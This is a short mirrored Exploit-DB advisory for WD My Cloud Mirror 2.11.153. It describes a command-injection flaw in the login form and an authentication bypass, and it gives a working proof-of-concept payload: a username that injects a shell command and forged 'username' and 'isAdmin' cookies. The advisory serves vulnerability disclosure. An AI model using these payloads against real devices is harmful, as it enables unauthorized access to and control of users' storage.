exploit-db-mirror/exploits/hardware/webapps/41147.txt
Offensive Security d304cc3d3e DB: 2017-11-24
116602 new exploits

Too many to list!
2017-11-24 20:56:23 +00:00

27 lines
No EOL
839 B
Text
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Exploit Title: WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass
# Date: 24.01.2017
# Software Link: https://www.wdc.com
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local
1. Description
Its possible to execute arbitrary commands using login form because `exec()` function is used without `escapeshellarg()`.
It's possible to bypass login form because function only check if `$_COOKIE['username']` and `$_COOKIE['isAdmin']` exist.
https://security.szurek.pl/wd-my-cloud-mirror-211153-rce-and-authentication-bypass.html
2. Proof of Concept
For RCE simply use as username:
a" || your_command_to_execute || "
For authentication bypass set COOKIES:
username=1; isAdmin=1
and then visit for example php/users.php